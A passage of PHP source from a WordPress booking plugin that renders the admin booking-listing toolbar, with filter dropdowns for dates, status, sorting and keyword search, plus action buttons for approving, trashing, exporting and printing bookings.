$default_param_values ); wpbc_ajx__ui__existing_or_trash( $escaped_search_request_params, $default_param_values ); wpbc_ajx__ui__all_or_new( $escaped_search_request_params, $default_param_values ); wpbc_ajx__ui__creation_date( $escaped_search_request_params, $default_param_values ); wpbc_ajx__ui__payment_status( $escaped_search_request_params, $default_param_values ); wpbc_ajx__ui__cost_min_max( $escaped_search_request_params, $default_param_values ); wpbc_ajx_toolbar_reset_button( $escaped_search_request_params, $default_param_values ); ?></div><?php ?></div><?php ?></div><?php //Required for bottom border radius in container // <editor-fold defaultstate="collapsed" desc=" A c t i o n s t o o l b a r " > // ------------------------------------------------------------------------------------------------------------- // Actions // ------------------------------------------------------------------------------------------------------------- ?><div class="ui_container ui_container_toolbar ui_container_small ui_container_actions ui_container_actions_row_1" style="<?php echo ( $selected_tab == 'actions' ) ? 'display: flex' : 'display: none' ?>;"><?php ?><div class="ui_group"><?php // Approve // Pending ?><div class="ui_element hide_button_if_no_selection"><?php wpbc_ajx__ui__action_button__approve( $escaped_search_request_params ); wpbc_ajx__ui__action_button__pending( $escaped_search_request_params ); ?></div><?php // Trash / Reject // Restore // Delete ?><div class="ui_element hide_button_if_no_selection"><?php wpbc_ajx__ui__action_button__trash( $escaped_search_request_params ); wpbc_ajx__ui__action_button__restore( $escaped_search_request_params ); wpbc_ajx__ui__action_button__delete( $escaped_search_request_params ); wpbc_ajx__ui__action_text__delete_reason( $escaped_search_request_params ); ?></div><?php // Empty Trash ?><div class="ui_element"><?php wpbc_ajx__ui__action_button__empty_trash( $escaped_search_request_params ); ?></div><?php // Read All // Read // Unread ?><div class="ui_element"><?php wpbc_ajx__ui__action_button__readall( $escaped_search_request_params ); wpbc_ajx__ui__action_button__read( $escaped_search_request_params ); wpbc_ajx__ui__action_button__unread( $escaped_search_request_params ); ?></div><?php // Print ?><div class="ui_element"><?php wpbc_ajx__ui__action_button__print( $escaped_search_request_params ); ?></div><?php // Import ?><div class="ui_element"><?php wpbc_ajx__ui__action_button__import( $escaped_search_request_params ); ?></div><?php // Export page to CSV // Export all pages to CSV ?><div class="ui_element"><?php wpbc_ajx__ui__action_button__export_csv( $escaped_search_request_params ); // wpbc_ajx__ui__action_button__export_csv_page( $escaped_search_request_params ); // wpbc_ajx__ui__action_button__export_csv_all( $escaped_search_request_params ); ?></div><?php ?></div><?php ?></div><?php // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" O p t i o n s t o o l b a r " > // ------------------------------------------------------------------------------------------------------------- // Options // ------------------------------------------------------------------------------------------------------------- if ( class_exists( 'wpdev_bk_personal' ) ) { //FixIn: 9.6.1.5 ?><div class="ui_container ui_container_toolbar ui_container_small ui_container_options ui_container_options_row_1" style="<?php echo ( $selected_tab == 'options' ) ? 'display: flex' : 'display: none' ?>;"><?php ?><div class="ui_group"><?php /* // Is send Emails //FixIn: 9.6.1.5 ?><div class="ui_element"><?php wpbc_ajx__ui__options_checkbox__send_emails( $escaped_search_request_params, $default_param_values ); ?></div><?php */ if ( class_exists( 'wpdev_bk_personal' ) ) { // Is Expand Notes ?><div class="ui_element"><?php wpbc_ajx__ui__options_checkbox__is_expand_remarks( $escaped_search_request_params, $default_param_values ); ?></div><?php } ?></div><?php ?></div><?php } // </editor-fold> ?></div><?php } /** * Sorting * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__booking_sorting( $escaped_search_request_params, $defaults ){ $params_addon = array( 'type' => 'span' , 'html' => ''// '<i class="menu_icon icon-1x wpbc_icn_event"></i>' //'<strong>' . __( 'Dates', 'booking ' ) . '</strong>' , 'icon' => array( 'icon_font' => 'wpbc_icn_swap_vert', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive' , 'style' => '' , 'attr' => array() ); $select_options = array ( 'booking_id__asc' => __( 'ID', 'booking' ) . ' <i class="menu_icon icon-1x wpbc-bi-arrow-up-short"></i>', 'booking_id__desc' => __( 'ID', 'booking' ) . ' <i class="menu_icon icon-1x wpbc-bi-arrow-down-short"></i>', 'divider1' => array( 'type' => 'html', 'html' => '<hr/>' ), 'dates__asc' => __( 'Dates', 'booking' ) . ' <i class="menu_icon icon-1x wpbc-bi-arrow-up-short"></i>', 'dates__desc' => __( 'Dates', 'booking' ) . ' <i class="menu_icon icon-1x wpbc-bi-arrow-down-short"></i>', ); if ( class_exists( 'wpdev_bk_personal' ) ) { $select_options['divider2'] = array( 'type' => 'html', 'html' => '<hr/>' ); $select_options['resource__asc'] = __( 'Resource', 'booking' ) . ' <i class="menu_icon icon-1x wpbc-bi-arrow-up-short"></i>'; $select_options['resource__desc'] = __( 'Resource', 'booking' ) . ' <i class="menu_icon icon-1x wpbc-bi-arrow-down-short"></i>'; } if ( class_exists( 'wpdev_bk_biz_s' ) ) { $select_options['divider3'] = array( 'type' => 'html', 'html' => '<hr/>' ); $select_options['cost__asc'] = __( 'Cost', 'booking' ) . ' <i class="menu_icon icon-1x wpbc-bi-arrow-up-short"></i>'; $select_options['cost__desc'] = __( 'Cost', 'booking' ) . ' <i class="menu_icon icon-1x wpbc-bi-arrow-down-short"></i>'; } $params = array( 'id' => 'wh_sort' , 'default' => isset( $escaped_search_request_params['wh_sort'] ) ? $escaped_search_request_params['wh_sort'] : $defaults['wh_sort'] , 'label' => ''//__('Sort by', 'booking') . ':' , 'title' => __('Sort by', 'booking') , 'hint' => array( 'title' => __('Sort bookings by' ,'booking') , 'position' => 'top' ) , 'li_options' => $select_options ); ?><div class="wpbc_ajx_toolbar wpbc_buttons_row"> <div class="ui_container ui_container_small"> <div class="ui_group"> <div class="ui_element"><?php //wpbc_flex_addon( $params_addon ); wpbc_flex_dropdown( $params ); ?></div></div></div></div><?php } /** * Is email sending option - loacted inside of the page -- under the toolbar * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__booking__no_toolbar__is_email_sending( $escaped_search_request_params, $defaults ) { //FixIn: 9.6.1.5 ?><div class="wpbc_ajx_toolbar wpbc_no_borders wpbc_not_toolbar_is_send_emails"><?php ?><div class="ui_container ui_container_micro"><?php ?><div class="ui_group"><?php ?><div class="ui_element"><?php wpbc_ajx__ui__options_checkbox__send_emails( $escaped_search_request_params, $defaults ); ?></div><?php ?></div><?php ?></div><?php ?></div><?php } // <editor-fold defaultstate="collapsed" desc=" T o o l b a r F i l t e r B u t t o n s " > // --------------------------------------------------------------------------------------------------------------------- /// 1st row // --------------------------------------------------------------------------------------------------------------------- /** * Booked dates * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__booked_dates( $escaped_search_request_params, $defaults ){ $params_addon = array( 'type' => 'span' , 'html' => ''// '<i class="menu_icon icon-1x wpbc_icn_event"></i>' //'<strong>' . __( 'Dates', 'booking ' ) . '</strong>' , 'icon' => array( 'icon_font' => 'wpbc_icn_event', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive' , 'style' => '' , 'hint' => array( 'title' => __('Filter bookings by booking dates' ,'booking') , 'position' => 'top' ) , 'attr' => array() ); $dates_interval = array( 1 => '1' . ' ' . __('day' ,'booking') , 2 => '2' . ' ' . __('days' ,'booking') , 3 => '3' . ' ' . __('days' ,'booking') , 4 => '4' . ' ' . __('days' ,'booking') , 5 => '5' . ' ' . __('days' ,'booking') , 6 => '6' . ' ' . __('days' ,'booking') , 7 => '1' . ' ' . __('week' ,'booking') , 14 => '2' . ' ' . __('weeks' ,'booking') , 30 => '1' . ' ' . __('month' ,'booking') , 60 => '2' . ' ' . __('months' ,'booking') , 90 => '3' . ' ' . __('months' ,'booking') , 183 => '6' . ' ' . __('months' ,'booking') , 365 => '1' . ' ' . __('Year' ,'booking') ); $request_input_el_default = array( 'wh_booking_date' => isset( $escaped_search_request_params['wh_booking_date'] ) ? $escaped_search_request_params['wh_booking_date'] : $defaults['wh_booking_date'], 'ui_wh_booking_date_radio' => isset( $escaped_search_request_params['ui_wh_booking_date_radio'] ) ? $escaped_search_request_params['ui_wh_booking_date_radio'] : $defaults['ui_wh_booking_date_radio'], 'ui_wh_booking_date_next' => isset( $escaped_search_request_params['ui_wh_booking_date_next'] ) ? $escaped_search_request_params['ui_wh_booking_date_next'] : $defaults['ui_wh_booking_date_next'], 'ui_wh_booking_date_prior' => isset( $escaped_search_request_params['ui_wh_booking_date_prior'] ) ? $escaped_search_request_params['ui_wh_booking_date_prior'] : $defaults['ui_wh_booking_date_prior'], 'ui_wh_booking_date_checkin' => isset( $escaped_search_request_params['ui_wh_booking_date_checkin'] ) ? $escaped_search_request_params['ui_wh_booking_date_checkin'] : $defaults['ui_wh_booking_date_checkin'], 'ui_wh_booking_date_checkout' => isset( $escaped_search_request_params['ui_wh_booking_date_checkout'] ) ? $escaped_search_request_params['ui_wh_booking_date_checkout'] : $defaults['ui_wh_booking_date_checkout'] ); $options = array ( // 'header2' => array( 'type' => 'header', 'title' => __( 'Complex Days', 'booking' ) ), // 'disabled1' => array( 'type' => 'simple', 'value' => '19', 'title' => __( 'This is option was disabled', 'booking' ), 'disabled' => true ), //todo: 2023-06-10 'fixed' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'selected_options_value' => array( 1 => array( 'value' ), 4 => array( 'value' ), 7 => array( 'value' ) ), // 4 => array( 'value' ) --> $complex_option['input_options'][4]['value'] 'selected_options_title' => array( 1 => array( 'label', 'title' ), 'text1' => ': ', 4 => array( 'value' ), 'text2' => ' - ' ,7 => array( 'value' ) ), // 1 => array( 'label', 'title' ) --> $complex_option['input_options'][1]['label'][ 'title' ] 'style' => 'min-width:290px', 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex:1 1 100%;margin-top:5px;display:none;">' ) , array( 'type' => 'radio' , 'id' => 'ui_wh_booking_date_radio_3' // HTML ID of element , 'name' => 'ui_wh_booking_date_radio' , 'label' => array( 'title' => __('Dates' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '6' // Some Value from optins array that selected by default , 'selected' => ( $request_input_el_default[ 'ui_wh_booking_date_radio' ] == '6' ) ? true : false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px 4px 4px 0;flex: 0 1 90px;order: 2;">' ) , array( 'type' => 'text' , 'id' => 'ui_wh_booking_date_checkin' // HTML ID of element , 'name' => 'ui_wh_booking_date_checkin' , 'label' => ''//__('Check-in' ,'booking') , 'style' => 'width:100%;' // CSS of select element , 'class' => 'wpdevbk-filters-section-calendar' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => __('Check-in' ,'booking') , 'value' => $request_input_el_default[ 'ui_wh_booking_date_checkin'] // Some Value from optins array that selected by default // , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_3').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px 0 4px 4px;flex: 0 1 90px;order: 4;">' ) , array( 'type' => 'text' , 'id' => 'ui_wh_booking_date_checkout' // HTML ID of element , 'name' => 'ui_wh_booking_date_checkout' , 'label' => ''//__('Check-out' ,'booking') , 'style' => 'width:100%;' // CSS of select element , 'class' => 'wpdevbk-filters-section-calendar' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => __('Check-out' ,'booking') , 'value' => $request_input_el_default[ 'ui_wh_booking_date_checkout'] // Some Value from optins array that selected by default // , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_3').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) //FixIn: 9.7.2.2 , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding:0;flex: 0 1 14px;order: 2;">' ) , array( 'type' => 'button' , 'title' => '' // Title of the button , 'hint' => '' , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "jQuery('#ui_wh_booking_date_checkin').val('');jQuery('#ui_wh_booking_date_checkout').val('');" , 'class' => 'wpbc_button_as_icon' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => array( 'icon_font' => 'wpbc_icn_horizontal_rule', 'position' => 'left', 'icon_img' => '' ) , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => 'padding: 0px;font-size: 20px;color: #555;' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px 0 4px 4px;flex: 0 1 35px;order: 5;">' ) , array( 'type' => 'button' , 'title' => '' // Title of the button , 'hint' => array( 'title' => __('Apply' ,'booking') , 'position' => 'top' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "jQuery('#ui_wh_booking_date_radio_3').prop('checked', true);". "wpbc_ui_dropdown_apply_click( { 'dropdown_id' : 'wh_booking_date', 'dropdown_radio_name': 'ui_wh_booking_date_radio' } );" // JavaScript code , 'class' => 'wpbc_ui_button_primary' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => array( 'icon_font' => 'wpbc_icn_arrow_forward', 'position' => 'left', 'icon_img' => '' ) , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => 'padding:5px 7px;' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px;flex: 0 1 20px;margin-left: auto;margin-right:-5px;order: 6;">' ) , array( 'type' => 'button' , 'title' => '' // Title of the button , 'hint' => array( 'title' => __('Reset check in/out dates filter' ,'booking') , 'position' => 'top' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' =>"if ( ( jQuery('#ui_wh_booking_date_checkin').val() == '') && ( jQuery('#ui_wh_booking_date_checkout').val() == '') ) { wpbc_field_highlight( '#ui_wh_booking_date_checkin' ); wpbc_field_highlight( '#ui_wh_booking_date_checkout' ); return false; }" . "jQuery('#ui_wh_booking_date_checkin').val('');jQuery('#ui_wh_booking_date_checkout').val('');" , 'class' => 'wpbc_button_as_icon' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => array( 'icon_font' => 'wpbc_icn_close', 'position' => 'left', 'icon_img' => '' ) , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => 'padding-left: 0;padding-right: 0;' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), 'divider4' => array( 'type' => 'html', 'html' => '<hr/>' ), '0' => __( 'Current dates', 'booking' ), '1' => __( 'Today', 'booking' ), '2' => __( 'Previous dates', 'booking' ), '3' => __( 'All dates', 'booking' ), 'divider1' => array( 'type' => 'html', 'html' => '<hr/>' ), '9' => __( 'Today check in/out', 'booking' ), '10' => __( 'Check in - Today', 'booking' ), '11' => __( 'Check out - Today', 'booking' ), '7' => __( 'Check in - Tomorrow', 'booking' ), '8' => __( 'Check out - Tomorrow', 'booking' ), 'divider2' => array( 'type' => 'html', 'html' => '<hr/>' ), // Next [ '4', '10' ] - radio button (if selected) value '4' and select-box with selected value '10' 'next' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', // recheck if LI selected: $options['next']['selected_options_value'] == $params['default], e.g. ~ [ '4', '10' ] 'selected_options_value' => array( 1 => array( 'value' ), // $options['next']['input_options'][ 1 ]['value'] '4' 4 => array( 'value' ) // $options['next']['input_options'][ 4 ]['value'] '10' ), // Get selected Title, for dropdown if $options['next'] selected 'selected_options_title' => array( 1 => array( 'label', 'title' ), // $options['next']['input_options'][ 1 ]['label'][ 'title' ] 'Next' 'text1' => ': ', // if key 'text1' not exist in ['input_options'], then it text ': ' 4 => array( 'options', $request_input_el_default['ui_wh_booking_date_next'] ) // '10 days' ), 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( // Default options from simple input element, like: wpbc_flex_radio() 'type' => 'radio' , 'id' => 'ui_wh_booking_date_radio_1' // HTML ID of element , 'name' => 'ui_wh_booking_date_radio' , 'label' => array( 'title' => __('Next' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '4' , 'selected' => ( $request_input_el_default[ 'ui_wh_booking_date_radio' ] == '4' ) ? true : false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( 'type' => 'select' , 'attr' => array() , 'name' => 'ui_wh_booking_date_next' , 'id' => 'ui_wh_booking_date_next' , 'options' => $dates_interval , 'value' => $request_input_el_default[ 'ui_wh_booking_date_next'] , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_1').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), // Prior [ '5', '10' ] 'prior' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'style' => 'min-width: 244px;', 'selected_options_value' => array( 1 => array( 'value' ), 4 => array( 'value' ) ), // 4 => array( 'value' ) --> $complex_option['input_options'][4]['value'] 'selected_options_title' => array( 1 => array( 'label', 'title' ) , 'text1' => ': ' , 4 => array( 'options' , $request_input_el_default[ 'ui_wh_booking_date_prior'] ) ), // 1 => array( 'label', 'title' ) --> $complex_option['input_options'][1]['label'][ 'title' ] 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( 'type' => 'radio' , 'id' => 'ui_wh_booking_date_radio_2' // HTML ID of element , 'name' => 'ui_wh_booking_date_radio' , 'label' => array( 'title' => __('Prior' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '5' // Some Value from optins array that selected by default , 'selected' => ( $request_input_el_default[ 'ui_wh_booking_date_radio' ] == '5' ) ? true : false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( 'type' => 'select' , 'attr' => array() , 'name' => 'ui_wh_booking_date_prior' , 'id' => 'ui_wh_booking_date_prior' , 'options' => $dates_interval , 'value' => $request_input_el_default[ 'ui_wh_booking_date_prior'] , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_2').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), /* //todo: 2023-06-10 // Fixed [ '6', '', '2022-05-21'] 'fixed' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'selected_options_value' => array( 1 => array( 'value' ), 4 => array( 'value' ), 7 => array( 'value' ) ), // 4 => array( 'value' ) --> $complex_option['input_options'][4]['value'] 'selected_options_title' => array( 1 => array( 'label', 'title' ), 'text1' => ': ', 4 => array( 'value' ), 'text2' => ' - ' ,7 => array( 'value' ) ), // 1 => array( 'label', 'title' ) --> $complex_option['input_options'][1]['label'][ 'title' ] 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex:1 1 100%;margin-top:5px;">' ) , array( 'type' => 'radio' , 'id' => 'ui_wh_booking_date_radio_3' // HTML ID of element , 'name' => 'ui_wh_booking_date_radio' , 'label' => array( 'title' => __('Dates' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '6' // Some Value from optins array that selected by default , 'selected' => ( $request_input_el_default[ 'ui_wh_booking_date_radio' ] == '6' ) ? true : false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px 4px 4px 0;">' ) , array( 'type' => 'text' , 'id' => 'ui_wh_booking_date_checkin' // HTML ID of element , 'name' => 'ui_wh_booking_date_checkin' , 'label' => ''//__('Check-in' ,'booking') , 'style' => 'width:100%;' // CSS of select element , 'class' => 'wpdevbk-filters-section-calendar' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => __('Check-in' ,'booking') , 'value' => $request_input_el_default[ 'ui_wh_booking_date_checkin'] // Some Value from optins array that selected by default , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_3').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px 0 4px 4px;">' ) , array( 'type' => 'text' , 'id' => 'ui_wh_booking_date_checkout' // HTML ID of element , 'name' => 'ui_wh_booking_date_checkout' , 'label' => ''//__('Check-out' ,'booking') , 'style' => 'width:100%;' // CSS of select element , 'class' => 'wpdevbk-filters-section-calendar' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => __('Check-out' ,'booking') , 'value' => $request_input_el_default[ 'ui_wh_booking_date_checkout'] // Some Value from optins array that selected by default , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_3').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), */ 'divider3' => array( 'type' => 'html', 'html' => '<hr/>' ), // Buttons 'buttons1' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'style' => 'justify-content: flex-end;', 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex: 0 1 auto;margin: 0;">' ) , array( 'type' => 'button' , 'title' => __( 'Apply', 'booking' ) // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "wpbc_ui_dropdown_apply_click( { 'dropdown_id' : 'wh_booking_date', 'dropdown_radio_name': 'ui_wh_booking_date_radio' } );" // JavaScript code , 'class' => 'wpbc_ui_button_primary' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex: 0 1 auto;margin: 0 0 0 1em;">' ) , array( 'type' => 'button' , 'title' => __( 'Close', 'booking' ) // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "wpbc_ui_dropdown_close_click( 'wh_booking_date' );" // JavaScript code , 'class' => '' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), ); $params = array( 'id' => 'wh_booking_date' , 'default' => $request_input_el_default[ 'wh_booking_date' ] , 'label' => ''//__('Approve 1', 'booking') . ':' , 'title' => ''//__('Approve 2', 'booking') , 'hint' => array( 'title' => __('Filter bookings by booking dates' ,'booking') , 'position' => 'top' ) , 'align' => 'left' , 'li_options' => $options ); ?><div class="ui_element ui_nowrap"><?php wpbc_flex_addon( $params_addon ); wpbc_flex_dropdown( $params ); ?></div><?php } /** * Approved | Pending | All * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__booking_status( $escaped_search_request_params, $defaults ){ $params_addon = array( 'type' => 'span' , 'html' => ''// '<i class="menu_icon icon-1x wpbc_icn_event"></i>' //'<strong>' . __( 'Dates', 'booking ' ) . '</strong>' , 'icon' => array( 'icon_font' => 'wpbc_icn_done_all', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive' , 'style' => '' , 'attr' => array() ); $params = array( 'id' => 'wh_approved' , 'default' => isset( $escaped_search_request_params['wh_approved'] ) ? $escaped_search_request_params['wh_approved'] : $defaults['wh_approved'] , 'label' => ''//__('Status', 'booking') . ':' , 'title' => __('Status', 'booking') , 'hint' => array( 'title' => __('Filter bookings by booking status' ,'booking') , 'position' => 'top' ) , 'li_options' => array ( '0' => __( 'Pending', 'booking' ), '1' => __( 'Approved', 'booking' ), 'divider1' => array( 'type' => 'html', 'html' => '<hr/>' ), // 'header1' => array( 'type' => 'header', 'title' => __( 'Default', 'booking' ) ), 'any' => array( 'type' => 'simple', 'value' => '', // 'disabled' => true, 'title' => __( 'Any', 'booking' ) ), ) ); ?><div class="ui_element ui_nowrap"><?php //wpbc_flex_addon( $params_addon ); wpbc_flex_dropdown( $params ); ?></div><?php } /** * Keywords * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx_toolbar_keyword_search( $escaped_search_request_params, $defaults ){ $el_id = 'wpbc_search_field'; $default_value = ''; // Old way of searching booking ID if ( ! empty( $_REQUEST['wh_booking_id'] ) ) { $wh_booking_id = intval( $_REQUEST['wh_booking_id'] ); if ( $wh_booking_id > 0 ) { $_REQUEST['overwrite'] = 1; $_REQUEST['keyword'] = 'id:' . $wh_booking_id; } } if ( ( ! empty( $_REQUEST['overwrite'] ) ) && ( ! empty( $_REQUEST['keyword'] ) ) ) { // Searching for booking(s) from URL: http://beta/wp-admin/admin.php?page=wpbc&view_mode=vm_booking_listing&keyword=id:2&overwrite=1 $default_value = wpbc_sanitize_text( $_REQUEST['keyword'] ); ?><script type="text/javascript"> jQuery( document ).ready( function (){ // setTimeout( function () { // wpbc_ajx_booking_listing.search_set_param( 'wh_booking_type', [0] ); // }, 950 ); wpbc_ajx_booking_searching_after_few_seconds( '#<?php echo $el_id; ?>', 1000 ); // Immediate search after 0.5 second } ); </script><?php } $params = array( 'type' => 'text' , 'id' => $el_id , 'name' => $el_id , 'label' => '' , 'disabled' => false , 'class' => '' , 'style' => '' , 'placeholder' => __( 'Enter keyword to search...', 'booking' ) , 'attr' => array() , 'value' => $default_value , 'onfocus' => '' ); ?><div class="ui_element"><?php wpbc_flex_text( $params ); ?></div><?php } //FixIn: 9.7.2.3 function wpbc_ajx_toolbar_clear_keyword_search( $escaped_search_request_params, $defaults ){ $params = array( 'type' => 'button' , 'title' => '',//__( 'Reset', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Reset keyword text field', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "jQuery( '#wpbc_search_field').val(''); wpbc_ajx_booking_send_search_request_with_params( { 'keyword' : '', 'page_num': 1 } ); ", // JavaScript 'icon' => array( 'icon_font' => 'wpbc_icn_close', //'wpbc_icn_rotate_left', 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_button_as_icon', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array() ); ?><div class="ui_element" style="flex: 0 1 auto;margin-left: -50px;z-index: 1;"><?php wpbc_flex_button( $params ); ?></div><?php } /** * Reset button - init default filter options * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx_toolbar_reset_button( 